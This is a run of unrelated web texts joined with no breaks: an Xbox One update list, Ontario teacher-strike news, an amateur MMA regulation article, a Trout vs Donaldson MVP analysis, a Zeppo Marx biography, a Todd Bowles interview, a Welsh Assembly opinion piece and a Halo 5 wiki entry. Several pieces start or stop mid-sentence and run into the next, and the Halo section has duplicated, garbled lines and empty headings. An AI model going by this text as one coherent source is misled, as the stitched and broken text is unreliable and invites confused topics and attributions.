Control Bing and Google maps with gesture and controller
Quick search when highlighting a term on a page
When searching from Bing search on the console, direct link to Internet Explorer in order to see additional web results.
New Devices – Driver and Firmware updates
Firmware update to the Xbox One controller to support the Xbox One stereo headset adapter
Support for 1st and 3rd party headsets
Driver updates for the Xbox One Media Remote
SmartGlass Improvements
Push notification to your device for Xbox Live messages
Quickly see what a friend is doing including presence and recent
Enhanced viewing of personal and a friend’s game progress and clips
Ability to close snap from SmartGlass
Live TV
50Hz fix – users can set the Live TV app to display at 50Hz for full or fill modes
Volume up/down adjustments – user can tailor the number of volume increments when using “volume up” or “volume down” commands
IR blasting of power & volume to TVs/AVRs in all regions
AVR setup maps to include model number for most sound bars or AVRs when setting up TV
Improved Audio output support
SPDIF (optical out) now supports 5.1 Dolby Digital – enabling devices such as sound bars with only Optical In to be able to receive 5.1 Dolby Digital from console over optical
HDMI output now supports stereo uncompressed, 5.1 uncompressed, 7.1 uncompressed or 5.1 Dolby Digital live or 5.1 DTS
Edit: Updated the listThe Elementary Teachers’ Federation of Ontario has advised the Ontario Public School Boards’ Association and the provincial government that its teachers and occasional teachers will be taking provincewide strike action as of Monday, May 11.
The union announcement was made early Tuesday after the union issued automated calls to teachers Monday night advising them to prepare for various measures that could include work-to-rule initiatives, a boycott of standardized testing (EQAO exams) and even picket lines.
“We are not going to comment on strike action details publicly until we’ve had an opportunity to communicate with all our members this week,” said Sam Hammond, president of the Elementary Teacher’s Federation of Ontario (EFTO). “What’s important to realize is that the government and OPSBA want to layer on more bureaucracy into the education system, and compromise the ability of teachers to do what’s best for our students.”
The union, which represents 76,000 teachers in Ontario, is arguing that the government is removing class size limits from collective agreements, which could result in larger class sizes, becoming more directive about how teachers should spend their preparation time and is attempting to change hiring practices which could affect its members.
The union wouldn’t make any more specific comments in regards to its plans Tuesday.
Some teachers in the Ontario Secondary School Teacher’s Federation (OSSTF), particularly those in Peel Region, have been on strike for weeks now, putting the school year in jeopardy for some.
More to come.Legalized mixed martial arts in New York will bring the UFC to Madison Square Garden in November, but that won’t be the first event under the new law.
That honor goes to KTFO, an amateur promotion that has hosted events on Long Island under a cloud of uncertainty since 2013, but is now set for its first totally legitimate card.
KTFO, formerly known as MMA Platinum Gloves, will host its 15th event Friday night at The Space at Westbury with 12 bouts scheduled, including three championship fights. Things won’t look or feel much different than past events for fans, but according to KTFO president Nic Canobbio, full legality goes a long way in keeping fighters safe.
“It’s not the Wild West any more,” Canobbio said.
The New York State Athletic Commission’s first test will be Friday night, but it won’t be overseeing this event directly. KTFO has used the United States Muay Thai Association, which is the only third-party amateur sanctioning body approved by the state at this time, to oversee its last three events and will be utilizing it once again. While not required to, the commission will have a representative on hand Friday night, said NYSAC spokesman Laz Benitez. The commission also has the authority to conduct compliance reviews and audits at any event to ensure all requirements are being met, Benitez said.
The new law makes it more difficult for events to be held in an unsafe manner. One big addition is the creation of a statewide fighter database that allows promotions and sanctioning bodies to communicate, Canobbio said.
Before the new law was passed, important tasks were left entirely to the promoter, including blood testing and weigh-ins, as well as pre- and post-fight medical examinations. Some promotions, of which KTFO was one, would hire third-party sanctioning groups to conduct these tasks, but there were no laws on the books requiring them to do so. Amateur MMA was unsanctioned and unregulated prior to the passing of the bill last March. Professional MMA, however, was against the law until then.
“In the past, let’s say a fighter fought for me and I used the USMTA and that fighter got knocked out, and the doctor said it’s a 60-day suspension,” Canobbio said. “Well, that suspension only went up so far, only to the USMTA level. I knew not to use that fighter again, and so did the USMTA and any other promotion that used them knew, but if you went to another promoter that used, say the [World Kickboxing Association], there’s no real talk between the WKA and USMTA.”
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The lack of communication created a situation that could be unsafe for fighters trying to game the system.
“They’re putting themselves at risk without even realizing it,” Canobbio said. “They want to fight, but there’s a reason why there’s a 60-day suspension.”
Now that events must be sanctioned, everyone will be talking to each other nationwide, Canobbio said, protecting fighters from themselves or rogue promoters.
“At the amateur level, it’s all about the fighters,” Canobbio said. “It’s about getting them fights and getting them ready to move on to the pros.”Mike Trout and Josh Donaldson were the top two players in the American League and both have compelling cases for MVP.
For the first time since he came into the league, Mike Trout is not the slam dunk choice for American League MVP.
As I often have to remind myself because the numbers in his favor were so compelling, Trout did not actually win the award in his first two seasons in the league. He probably should have though, considering he was almost four wins better than the actual 2012 MVP winner, and three wins better the 2013 winner (in terms of fWAR).
Last season, Trout was finally rewarded for his excellence with an MVP and was 3.4 wins ahead of Alex Gordon, who finished second in the league in fWAR.
Trout once again finished at the top of the AL WAR leaderboards at FanGraphs, Baseball-Reference and Baseball Prospectus in 2015 (he spent most of his season in Double A the last time this was not the case), but the margin was not nearly as wide as his first three years in the game.
He was worth 9.0 fWAR, 9.4 rWAR, and 10.0 WARP. Josh Donaldson is second according to all three formulas, and was worth 8.7 fWAR, 8.8 rWAR, and 7.6 WARP.
While the margin is fairly significant in terms of BP’s WARP, Trout and Donaldson are close enough in terms of the other two WAR measurements that a closer look is warranted.
WAR is a good stat, but it is not perfect (nobody is claiming it is, of course). It is a very good estimate of value, but is still an estimate, and a good rule of thumb is to assume a 0.5-1.0 win margin of error when comparing two players.
When a player is four wins better better than another, we can comfortably assume he has had a better season. When the difference is only a third of a win, though, we cannot be nearly as sure, so this year’s MVP discussion is not as cut and dry as it has been recently.
Before moving on to each player’s case for the award, here are their offensive stats from this season.
Name PA AVG OBP SLG wRC+ BB% K% BABIP HR Trout 682 0.299 0.402 0.590 172 13.5 % 23.2 % 0.344 41 Donaldson 711 0.297 0.371 0.568 154 10.3 % 18.7 % 0.314 41
And here are their defensive and baserunning numbers.
Name Inn SB CS BsR DRS UZR UZR/150 Def dWAR FRAA Trout 1362.2 11 7 3.3 5 0.2 0.3 2.6 1 11.1 Donaldson 1317 6 0 4 11 9.2 9.8 11.4 1.5 4.4
The Case for Trout
Trout’s career has evolved in an interesting way, as he has gone from a guy who derived much of his value from defense |
in his 1961 autobiography, Harpo Speaks!, claiming (p. 130) that there was a popular trained chimpanzee named Mr. Zippo, and that "Herbie" was tagged with the name "Zippo" because he liked to do chinups and acrobatics, as the chimp did in its act. The youngest brother objected to this nickname, and it was altered to "Zeppo". In a TV interview, Zeppo said that Zep is Italian-American slang for baby and as Zeppo was the youngest or baby Marx Brother, he was called Zeppo.
Career [ edit ]
Zeppo replaced brother Gummo in the Marx Brothers' stage act when the latter joined the army in 1918. Zeppo remained with the team and appeared in their successes in vaudeville, on Broadway, and the first five Marx Brothers films, as a straight man and romantic lead, before leaving the team. According to a 1925 newspaper article, he also made a solo appearance in the Adolphe Menjou comedy A Kiss in the Dark. According to newspaper reviews, he appeared in a minor role.[5]
In Lady Blue Eyes, Barbara Sinatra reported that Zeppo was considered too young to perform with his brothers, and when Gummo joined the Army, Zeppo was asked to join the act as a last-minute stand-in at a show in Texas. Zeppo was supposed to go out that night with a Jewish friend of his. They were supposed to take out two Irish girls, but Zeppo had to cancel to board the train to Texas. His friend went ahead and went on the date, and was shot a few hours later when he was attacked by an Irish gang that disapproved of a Jew dating an Irish girl.
As the youngest and having grown up watching his brothers, Zeppo could fill in for and imitate any of the others when illness kept them from performing. Groucho suffered from appendicitis during the Broadway run of Animal Crackers and Zeppo filled in for him as Captain Spaulding.
"He was so good as Captain Spaulding in Animal Crackers that I would have let him play the part indefinitely, if they had allowed me to smoke in the audience", Groucho recalled.[6] However, a comic persona of his own that could stand up against those of his brothers did not emerge. As critic Percy Hammond wrote, sympathetically, in 1928:
One of the handicaps to the thorough enjoyment of the Marx Brothers in their merry escapades is the plight of poor Zeppo Marx. While Groucho, Harpo, and Chico are hogging the show, as the phrase has it, their brother hides in an insignificant role, peeping out now and then to listen to plaudits in which he has no share.[7]
Though Zeppo continued to play it straight in the Brothers' movies for Paramount Pictures, he occasionally got to be part of classic comedy moments in them—in particular, his role in the famous dictation scene with Groucho in Animal Crackers (1930). He also played a pivotal role as the love interest of Ruth Hall in Monkey Business (1931) and of Thelma Todd in Horse Feathers (1932).
The popular assumption that Zeppo's character was superfluous was fueled in part by Groucho. According to Groucho's own story, when the group became the Three Marx Brothers, the studio wanted to trim their collective salary, and Groucho replied, "We're twice as funny without Zeppo!"[8]
Zeppo had great mechanical skills and was largely responsible for keeping the Marx family car running. He later owned a company that machined parts for the war effort during World War II, Marman Products Co. of Inglewood, California, later known as the Aeroquip Company. This company produced a motorcycle, called the Marman Twin,[9] and the Marman clamps used to hold the "Fat Man" atomic bomb inside the B-29 bomber Bockscar.[citation needed] He invented and obtained several patents for a wristwatch that monitored the pulse rate of cardiac patients and gave off an alarm if the heartbeat became irregular,[10] and a therapeutic pad for delivering moist heat to a patient.[11]
He also founded a large theatrical agency with his brother Gummo Marx. During his time as a theatrical agent, Zeppo and Gummo, although primarily Gummo, represented their brothers, among many others.[12]
Personal life [ edit ]
On April 12, 1927, Zeppo married Marion Bimberg Benda.[13] The couple adopted two children, Timothy and Thomas, in 1944 and 1945, and later divorced on May 12, 1954. On September 18, 1959, Marx married Barbara Blakeley, whose son, Bobby Oliver, he wanted to adopt and give his surname, but Bobby's father would not allow it. Bobby simply started using the last name "Marx".
Blakeley wrote in her book, Lady Blue Eyes, that Zeppo never made her convert to Judaism. Blakeley was of Methodist faith and said that Zeppo told her she became Jewish by "injection".
Blakeley also wrote in her book that Zeppo wanted to keep her son out of the picture, adding a room for him onto his estate, which was more of a guest house, as it was separated from the main residence. It was also decided that Blakeley's son would go to military school, which according to Blakeley, pleased Zeppo.
Zeppo owned a house on Halper Lake Drive in Rancho Mirage, California, which was built off the fairway of the Tamarisk Country Club. The Tamarisk Club had been set up by the Jewish community, which rivaled the gentile club called The Thunderbird. His neighbor happened to be Frank Sinatra. Zeppo later attended the Hillcrest Country Club with friends such as Sinatra, George Burns, Jack Benny, Danny Kaye, Sid Caesar, and Milton Berle.
Blakeley became involved with the Cedars-Sinai Medical Center, and had arranged to show Spartacus (featuring Kirk Douglas) for charity, selling tickets, and organizing a postscreening ball. At the last minute, Blakeley was told she could not have the film, so Zeppo went to the country club and spoke to Sinatra, who agreed to let him have an early release of a film he had just finished named Come Blow Your Horn. Sinatra also flew everyone involved to Palm Springs for the event.[citation needed]
Zeppo was a very jealous and possessive husband, and hated for Blakeley to talk to other men. Blakeley claimed that Zeppo grabbed Victor Rothschild by the throat at a country club because she was talking to him. Blakeley had caught Zeppo on many occasions with other women; the biggest incident was a party Zeppo had thrown on his yacht. After the incident, Zeppo took Blakeley to Europe, and accepted more invitations to parties when they arrived back in the States. Some of these parties were at Sinatra's compound; he often invited Blakeley and Zeppo to his house two or three times a week. Sinatra would also send champagne or wine to their home, as a nice gesture.
Blakeley and Sinatra began a love affair, unbeknownst to Zeppo. The press eventually got wind of the affair, snapping photos of Blakely and Sinatra together, or asking Blakeley questions whenever they spotted her. Both Sinatra and she denied the affair.
Zeppo and Blakeley divorced in 1973. Zeppo let Blakeley keep the 1969 Jaguar he had bought her, and agreed to pay her $1,500 a month for 10 years. Sinatra upgraded Blakeley's Jaguar to the latest model. Sinatra also gave her a house to live in.[citation needed] The house had belonged to Eden Hartford, Groucho Marx's third wife. Blakeley and Sinatra continued to date, and were constantly hounded by the press until the divorce between Zeppo and Blakeley became final. Blakeley and Sinatra were married in 1976.
Zeppo became ill with cancer in 1978. He sold his home, and moved to a house on the fairway off Frank Sinatra Drive. The doctors thought the cancer had gone into remission, but it returned. Zeppo called Blakeley, who accompanied him to doctor's appointments. Zeppo spent his last days with Blakeley's family.[citation needed]
Death [ edit ]
The last surviving Marx Brother, Zeppo died of lung cancer at the Eisenhower Medical Center in Rancho Mirage on November 30, 1979, at the age of 78. He was cremated and his ashes were scattered into the Pacific Ocean.[14][15]
In his will, Zeppo left Bobby Marx a few possessions and enough money to finish law school. Both Sinatra and Blakeley attended his funeral.
Legacy [ edit ]
Zeppo introduced Jack Benny to his wife Mary Livingstone.[citation needed]
Several critics have challenged the notion that Zeppo did not develop a comic persona in his films. James Agee considered Zeppo "a peerlessly cheesy improvement on the traditional straight man".[16] Along similar lines, Gerald Mast, in his book The Comic Mind: Comedy and Movies, noted that Zeppo's comedic persona, while certainly more subtle than his brothers', was undeniably present:
[He] added a fourth dimension as the cliché of the [romantic] juvenile, the bland wooden espouser of sentiments that seem to exist only in the world of the sound stage.... [He is] too schleppy, too nasal, and too wooden to be taken seriously.[17]
While this seemingly modern reconsideration of Zeppo's comedic contributions could be interpreted as merely a contemporary examination of his role in the Paramount pictures, more astute film reviewers were apparently in on the joke as far back as the release of The Cocoanuts in 1929. The New York Times review of the movie, for example, ranked all four Marx Brothers equally — "When the four Marx brothers are on the screen, it's a riot" [emphasis added] — and went on to describe each of the brothers' unique style of comedy, and praised Zeppo as "the handsome but dogged straight man with the charisma of an enamel washstand."[18]
In her book Hello, I Must be Going: Groucho & His Friends, Charlotte Chandler defended Zeppo as being "the Marx Brothers' interpreter in the worlds they invaded. He was neither totally a straight man nor totally a comedian, but combined elements of both, as did Margaret Dumont. Zeppo's importance to the Marx Brothers' initial success was as a Marx Brother who could 'pass' as a normal person. None of Zeppo's replacements (Allan Jones, Kenny Baker and others) could assume this character as convincingly as Zeppo, because they were actors, and Zeppo was the real thing, cast to type" (562).
Zeppo's comic persona was further highlighted in the "dictation scene" of Animal Crackers. In his book Groucho, Harpo, Chico, and Sometimes Zeppo, Joe Adamson analyzed the scene, showing how it revealed Zeppo's ability to one-up Groucho with simple, plain-English rebuttals. In the scene, Groucho dictates a letter to his lawyer, which Zeppo takes down. Adamson noted,
There is a common assumption that Zeppo = Zero, which this scene does its best to contradict. Groucho dictating a letter to anybody else would hardly be cause for rejoicing. We have to believe that someone will be there to accept all his absurdities and even respond somewhat in kind before things can progress free from conflict into this genial mishmash. Groucho clears his throat in the midst of his dictation, and Zeppo asks him if he wants that in the letter. Groucho says, 'No, put it in the envelope.' Zeppo nods. And only Zeppo could even try such a thing as taking down the heading and the salutation and leaving out the letter because it didn't sound important to him. It takes a Marx Brother to pull something like that on a Marx Brother and get away with it.[19]:114
In the same book, Adamson noted Zeppo's position as the campy parody of the juvenile romantic in his analysis of Horse Feathers. This tongue-in-cheek observation bolstered the theory of Zeppo's stiffness as a deliberate comic persona:
Each Marx Brother has his own form of comedy. Zeppo is at his funniest when he opens his mouth and sings. It has taken forty years, of course, for the full humor to come across. For a normal comedian this may be bad timing, but for a Marx Brother it's immortality. Almost every crooner of 1932 looks stilted and awkward now, but with Zeppo, who was never very convincing in the first place, the effect crosses the threshold into lovable comedy. "I think you're wonderful!" he oozes charmingly to Thelma Todd, and we know he never met her before shooting started.[19]:191
Allen W. Ellis wrote in his article "Yes, Sir: The Legacy of Zeppo Marx":
Indeed, Zeppo is a link between the audience and Groucho, Harpo and Chico. In a sense, he is us on the screen. He knows who those guys are and what they are capable of. As he ambles out of a scene, perhaps it is to watch them do their business, to come back in as necessary to move the film along, and again to join in the celebration of the finish. Further, Zeppo is crucial to the absurdity of the Paramount films. The humor is in his incongruity. Typically he dresses like a normal person, in stark contrast to Groucho's greasepaint and 'formal' attire, Harpo's rags, and Chico's immigrant hand-me-downs. By most accounts, he is the handsomest of the brothers, yet that handsomeness is distorted by his familial resemblance to the others—sure, he's handsome, but it is a decidedly peculiar, Marxian handsomeness. By making the group four, Zeppo adds symmetry, and in the surrealistic worlds of the Paramount films, this symmetry upsets rather than confirms balance: it is chaos born of symmetry. That he is a plank in a maelstrom, along with the very concept of 'this guy' who is there for no real reason, who joins in and is accepted by these other three wildmen while the narrative offers no explanation, are wonderful in their pure absurdity. 'To string things together in a seemingly purposeless way,' said Mark Twain, 'and to be seemingly unaware that they are absurd, is the mark of American humor.' The'sense' injected into the nonsense only compounds the nonsense.[20]
In a eulogy for Zeppo written in 1979 for The Washington Post, columnist Tom Zito wrote:
Thank goodness for Zeppo, who never really cracked a joke on screen. At least not directly. He just took it from Groucho, in more ways than one.... If Groucho, Chico and Harpo were the funny guys, Zeppo was the Everyman, the loser who'd come running out of the grocery store only to find the meter maid sticking the parking ticket on his Hungadunga.[21]
Zeppo performances produced this tribute from a prominent fan, written in Marc Eliot's 2005 biography of Cary Grant. Grant, a teenager performing in vaudeville under his real name, Archie Leach, loved the Marx Brothers. And as Eliot put it,
While the rest of the country preferred Groucho, Zeppo, the good-looking straight man and romantic lead, was Archie's favorite, the one whose foil timing he believed was the real key to the act's success.[22]
In his book The Anarchy of the Imagination: Interviews, Essays, Notes, noted filmmaker Rainer Werner Fassbinder included Zeppo on his list for the ten greatest film actors of all time.[23]
In a June 2016 review of an Off-Broadway revival of I'll Say She Is, The New Yorker's Adam Gopnik wrote:
Matt [Walters], becoming Zeppo, is a reminder that the Marxes were never quite as good again after they lost their one straight man. The object of the Marxes' comedy is anarchy, but its subject is fraternity: they are in it together to the end. Zeppo's inclusion in the family made the others less like clowns and more like brothers.[24]
Awards and honors [ edit ]
In the 1974 Academy Awards telecast, Jack Lemmon presented Groucho with an honorary Academy Award to a standing ovation. The award was also on behalf of Harpo, Chico, and Zeppo, whom Lemmon mentioned by name. It was one of Groucho's final major public appearances. "I wish that Harpo and Chico could be here to share with me this great honor," he said, naming the two deceased brothers (Zeppo was still alive at the time). Groucho also praised the late Margaret Dumont as a great straight woman who never understood any of his jokes.[25]
In popular culture [ edit ]
On the television series Cheers, Lilith Crane said Zeppo was her favorite Marx brother.[26]
A third season episode of the television series Buffy the Vampire Slayer was titled "The Zeppo". This episode focuses on the perspective of the character Xander Harris; his position as ostensibly the least impressive or capable member of the cast is compared to Zeppo Marx.[27]FLORHAM PARK, N.J. — As Todd Bowles walked through the indoor field at Jets’ headquarters on Wednesday afternoon, his partially replaced right knee wrapped in ice, he came upon his star defender giving an interview. There was Darrelle Revis, sitting on a bench and preparing to answer a question about how Bowles’s defensive style compares to that of other coaches the cornerback has played for. Before Revis could speak, Bowles chimed in. “Yes, what are they?” he said, walking by without breaking stride. “Come on, coach,” a laughing Revis teased back.
Bowles’ easy rapport with perhaps the most important player in the locker room is critical. Just seven months into his tenure as the Jets’ head coach, Bowles has already faced a crisis heard ’round the NFL. Geno Smith’s broken jaw, inflicted by IK Enemkpali’s locker-room punch, has knocked the prospective starting quarterback out six to 10 weeks. That imbroglio occurred just a few weeks after defensive lineman Sheldon Richardson was charged with resisting arrest, which could keep him off the field for longer than his four-game drug suspension. Bowles, who inherited the majority of his roster, was suddenly faced with holding his team together under the glare of the New York and national media.
Who is Todd Bowles? And what is he made of as a leader? The MMQB sat down with him this week to find out.
Jets coach Todd Bowles (Al Pereira/Getty Images)
VRENTAS: You’ve had an interesting week. When you first heard what had happened between Smith and Enemkpali, what was your first reaction? Was there a part of you that thought someone was trying to prank you?
BOWLES: No. This is football. They’re grown men, and they’ve got to handle things better. You handle it the same way you handle any crisis, whether it was Sheldon’s thing or whether it was something else. You’re disappointed, and then you’ve got to look for solutions.
‘I don’t put up any fronts,’ Bowles says. ‘What you see is what you get.’
VRENTAS: There’s not a road map for how a head coach should handle one player punching another one in the locker room.
BOWLES: Definitely not. Not a road map. But if you’ve been in this business long enough you see quite a few things that happen. You just don’t want it to be your team, but when it’s your team, you’ve got to have a good pulse of your team to see how you handle it.
VRENTAS: Was there a situation from your playing or coaching career that has been helpful?
BOWLES: My whole career (chuckles). You see a lot, and you go through a lot. It doesn’t necessarily have to be on your team. It can be on different teams. You try to learn from others’ mistakes so it doesn’t have to be yours. Over your whole career, you see a lot in this business, so nothing really surprises you. The first time you’re like, Wow; then the next time, you’re like, OK; then just nothing surprises you. You don’t want it to happen, but you’ve got to deal with it.
• ALSO ON THE MMQB: Even more than Rex Ryan, Todd Bowles is a defensive maverick who might be wily enough to turn things around in New York
VRENTAS: You were an interim head coach before, after the head coach was fired in Miami, and you were an interim defensive coordinator in Philadelphia, after the defensive coordinator was fired. What did those experiences teach you about holding players together in turbulent situations?
BOWLES: It teaches you to be yourself, and not to get too high or too low when situations happen. You’ve just got to be ready to handle them. Because if you panic, everybody else panics. You can’t panic.
VRENTAS: Are you watching to see how players handle last week’s incident as test of sorts for what you have in the locker room?
BOWLES: I know what I have in there. We have some good guys, and we have some good leaders in that locker room. That’s not even a question. Every day is a test, and things come up, and you learn how to handle them together. It’s easy to handle them by yourself, but as a team, you have to handle them together. You have to be walking on the same page.
VRENTAS: Did what happened last week cause you to change any part of your approach as a head coach?
BOWLES: No, you can’t change your approach. Certain things are going to happen that are out of your control. You have to make sure everybody knows and understands and makes sure it doesn’t happen again.
VRENTAS: Will it affect how you view or coach Geno?
BOWLES: Not one thing. Nothing changed.
VRENTAS: You coached with Bill Parcells for two seasons in Dallas, when you were the Cowboys’ secondary coach. What did you take from being a part of his staff?
BOWLES: Everybody talks about the snarl and the demeanor, but he’s a very sharp, intelligent guy. I don’t think he gets enough credit for being such a smart football coach. And he teaches you the ball game. He’s a no-excuse, no-nonsense guy, but he teaches you how to coach the game, how to see the game, and he taught a lot of people how to play the game. On that staff, in 2005, we had a bunch of people who were pretty good coaches: [Sean] Payton, [Tony] Sparano, [Todd] Haley, Kacy Rodgers.
• ALSO ON THE MMQB: The coach who couldn't win enough finally has it all. At last, Bill Parcells savors the journey that's brought him to Canton
VRENTAS: You’re the seventh member of that ’05 Cowboys staff hired as a head coach.
BOWLES: That says a lot about [Parcells]. It doesn’t say anything about us. It says a lot about him, and how he picks and grooms coaches, and what he can do with people, and how he sees talent and develops talent. He’s a Hall of Famer, and that says a bunch about him.
VRENTAS: Your most recent influence before becoming a head coach was Bruce Arians in Arizona. What rubbed off from him?
BOWLES: Bruce was my college head coach, so being a head coach with him in the league, he trusted me to be myself. Bruce’s [mentality] is defend every blade of grass, and always try to win every game. So he taught me the “no fear” attitude, which I already had, but he ensured it. And you play to win, all the time. In case of doubt, you play full speed. You don’t back off; you’re going for all or nothing.
VRENTAS: “No fear” in what respect?
BOWLES: How you play the game. Don’t be afraid to take chances and do things. Just play the game as you see it. If you have a thought, let it go through. Don’t second-guess yourself. Just go ahead and do it, and you live with the results.
• ALSO ON THE MMQB: ‘Have Fun! Throw It!’ An unplugged interview with Bruce Arians
VRENTAS: He always did that on offense. Go deep, and don’t settle for the check-downs.
BOWLES: Yes, he did. But it was calculated. It wasn’t just a whole aerial show. It was calculated in the things he did. When it’s calculated, don’t have any doubts. Just make sure you pull the trigger.
VRENTAS: Your defense has played that way, blitzing as much as you did in Arizona last season.
BOWLES: We did. But again, it was all calculated. Those guys were good players. They made me look good.
VRENTAS: Did you talk to Arians after what happened last week?
BOWLES: He texted me, to make sure I was alright. I said I was fine. He said OK, if you need to vent, let me know. I said OK.
VRENTAS: Have you taken him up on that offer?
BOWLES: No, he’s got his own team to run. You don’t do that. (laughs) In the offseason, though, I might vent to him a little bit.
VRENTAS: You’ve put up a strong front publicly responding to crises on your team. Do you feel like you’ve responded well?
BOWLES: I don’t put up any fronts. What you see is what you get. You don’t look back and say you’ve done a good or bad job. It’s a learning process. I don’t care if you’ve been a coach in this league for 10, 15 years, it’s an ever-growing process. You just try to weather the storm the best you can, and move forward and make sure the team is focused. There will be more things that come up throughout my coaching career, I’m sure. And you handle that as they come.
VRENTAS: The transition from coordinator to head coach is always an interesting one. How have you balanced your responsibilities?
BOWLES: It’s still a work in progress. You try to do a little bit of one thing one week, then you do a little bit the next week. You try to put your foot in where needed until you get a good feel for your team, which I think I do at this point. It’s a steady balancing act. You don’t ever get to say, I’m doing one thing all the time. It’s always a little bit of this, a little bit of that.
VRENTAS: Have you decided whether you want to call the defense during the regular season?
BOWLES: No, because [in the first preseason game], we were just letting guys play. There was no game-planning or play-calling really involved. It was very generic, and we were just trying to make sure guys could run around fast and know what they were doing. We’ll get a good feel these next two games coming up. A lot of other coaches [call plays], so it’s no big deal. You just want to see where your your team is at before you do that.
VRENTAS: What identity do you want your defense to have?
BOWLES: Aggressive. We’re going to try to be an offensive defensive team. We try to dictate and not be dictated to. That’s pretty much what it is.
VRENTAS: In picking an offensive coordinator, did you want someone who would complement that style?
BOWLES: It’s whole different set of circumstances. You don’t want him to be conservative, but you want him to be well-rounded. You want him to be able to teach, first of all. I wanted a good balance between the run game and the pass game. I wanted a guy that I know could command a room, but yet relate to the players and get his point across, and do a bunch of things that we do on defense but from an offensive standpoint. Chan [Gailey] was that guy.
VRENTAS: When news of the locker room fight broke, and Ryan Fitzpatrick stepped into the starting role, there were some people in the league who were more concerned about facing Fitzpatrick early in the season because of his long history in Gailey’s system. How big of a factor was that familiarity with the offense in bringing Fitzpatrick in?
BOWLES: You bring him in because he’s played a bunch of games in this league and he’s smart. You bring him in because he knows how to play. We brought him in because we still thought he could be a good player.
VRENTAS: With Rex Ryan in Buffalo and Mike Tannenbaum in Miami, your division rivals are people who have been in this building—they either coached or drafted your players. What kind of impact will that have on those games?
BOWLES: It makes it more interesting from a fan standpoint and a commentary standpoint. As a coach, you can’t approach it any other way. If you’re in this league long enough, you’re going to bounce around some places. All those guys have been in this building before. But that doesn’t have any bearing on the football game, so you’ve got to kind of keep it separate.
• ALSO ON THE MMQB: Darrelle Revis opens up about his return to the Jets, his Super Bowl stint with the Patriots and how much punishment his body can handle
VRENTAS: But these are guys who know your players’ motivations, know their strengths and weaknesses, have coached them or drafted them.
BOWLES: I’ve been a lot of places where they’ve coached my players. That’s not a big deal. Players play for whatever reason they play. They play because they want to show those guys they can still play, and they play for themselves, and they play for the team. It is very interesting having all of them in the same division, though. I can’t recall that before. It’s interesting.
VRENTAS: Your reputation so far has been that you are understated. Will that change?
BOWLES: I just go with what the day says. If everything isn’t going right, I’ll probably be upset. If things are, I’ll probably be calm. If there are big plays, I’ll be excited. I just coach. I don’t worry about the understatement or the overstatement. Your personality comes out as it goes. You can’t just make one.
VRENTAS: What makes you believe in your team this season?
BOWLES: The guys we have, and the coaches we have coaching those guys. We’ve got some proven players and guys that have been dong it for a while. And we have some exciting new young guys. If we can jell, and the chemistry can come together, and the injury bug doesn’t bite us, we have a chance to have a solid team.
• Question or comment? Email us at talkback@themmqb.comTo say the reality of a Welsh Assembly did not live up to my expectations is understating the case. I feel bitterly disappointed and let down by an institution I campaigned so passionately for. No one is prouder of their Welsh heritage than I am, but I can recognise our weaknesses as well as our strengths. One of our greatest weaknesses as a nation is the giant chip that we carry on our shoulder, a symptom of the centuries of being a poor relation to England. As a result, we view any criticism, even the constructive kind, as an attack and immediately pull up the drawbridge. Translated into institutional behaviour this becomes dangerous as it means organisations do not learn from their mistakes or the experience of others.
Given that my party has been in power at the Assembly, either out-right or in coalition, since its inception, it pains me to observe that it has a poor track record. In health, education and other areas we are lagging behind the rest of Britain. Meanwhile the Welsh Assembly government refuses to accept people’s concerns, spending more time defending the indefensible rather than fixing what is wrong. What makes it worse is that people who genuinely care about what is happening, and speak out, are accused of betrayal if we dare to voice any concern or criticism. ‘Go back to Westminster and leave us alone’ is the subtext.Halo 5: Guardians is a Halo game that was announced during Microsoft's E3 2013 presentation as the second chapter in the John-117 storyline of the Reclaimer Saga and the sequel to Halo 4. It was released on October 27, 2015.[7]
Contents show]
Campaign Edit
Characters and Setting Edit
Jameson Locke and John-117 are both playable characters in Halo 5: Guardians. The teammates of both Blue Team and Fireteam Osiris are also available for other players to play in the co-op campaign.[8][9]
Gameplay Edit
Spartan Abilities Edit
Main article: Spartan Abilities
In Halo 5: Guardians, armor abilities are replaced with Spartan Abilities.[30] Spartan Abilities are distinct from Armor Abilities,[31] in that they are not limited by cooldowns or pickups. Rather, they are base player abilities which can be used by all at any time, similar to Dual Wielding or Boarding. The seven Spartan Abilities are:
Thruster Pack: Similar to Thruster Pack from Halo 4, except now there is movement in any direction. [32]
, except now there is movement in any direction. Ground Pound: While in air, you can slam down into the ground, potentially killing anyone below. [32]
Clamber: If you miss a ledge, you can pull yourself up. [32]
Slide: While sprinting, you can slide. [32]
Charge: While sprinting, you can slam into an enemy. [32]
Sprint: Sprinting like in Halo 4, but after a certain amount of time, you will achieve the perfect velocity to activate the previous two abilities. Sprinting will stop shield recharge. [32]
, but after a certain amount of time, you will achieve the perfect velocity to activate the previous two abilities. Sprinting will stop shield recharge. Smart Scope: A zoom function that applies to all weapons. Each weapon has a different degree of zoom.[32]
Campaign Edit
The campaign is roughly twice as long as Halo 4's campaign.[33]
Multiplayer Edit
Multiplayer in Halo 5: Guardians is split into two main play styles: the classic Arena experience, and the new 24-player game, Warzone. Big Team Battle is not present in the game at launch, instead it was replaced with Warzone, however it was added post-launch.[34] Spectator mode is allowed within multiplayer matches.[35] There are over 20 multiplayer maps at the launch of Halo 5. At least an additional 15 maps were added post launch, before June 2016.[36]
Multiplayer maps Edit
Gametypes Edit
Features Edit
Weapons Edit
UNSC Edit
Covenant Edit
Ecumene Edit
Other Edit
Vehicles Edit
Achievements Edit
Halo 5: Guardians' achievements are worth a total of 1,000 gamerscore. The game features 65 achievements with 11 achievements being obtained in multiplayer.
Retail Editions Edit
Comparison Edit
Standard Edition Edit
The standard edition of the game includes the disk and a 14-day Xbox Live Gold trial, and was released October 27th, 2015.
Digital Edition Edit
The digital edition contains a digital download of the game, without a disk or game case.
Limited Edition Edit
Including collectible items such as a limited edition game disk and a steelbook case, the Halo 5: Guardians limited edition is available for pre-order before the release of the game. In addition to the limited edition case and disk, the bundle includes a 14-day Xbox Live trial, Halo: The Fall of Reach Animated Series, a Warzone REQ bundle, dossiers on Blue Team, Fireteam Osiris and Spartan Locke's orders, and finally a metal model of a Guardian. The edition costs $99.99.[76]
Limited Collector's Edition Edit
The Halo 5: Guardians Limited Collector's Edition contained, in addition to the Limited Edition collectible content, a statue of Master Chief and Agent Locke. This statue can be pulled apart from its default state, to present the pair as enemies rather than a team like is presented by default. It cost $249.99.[77]
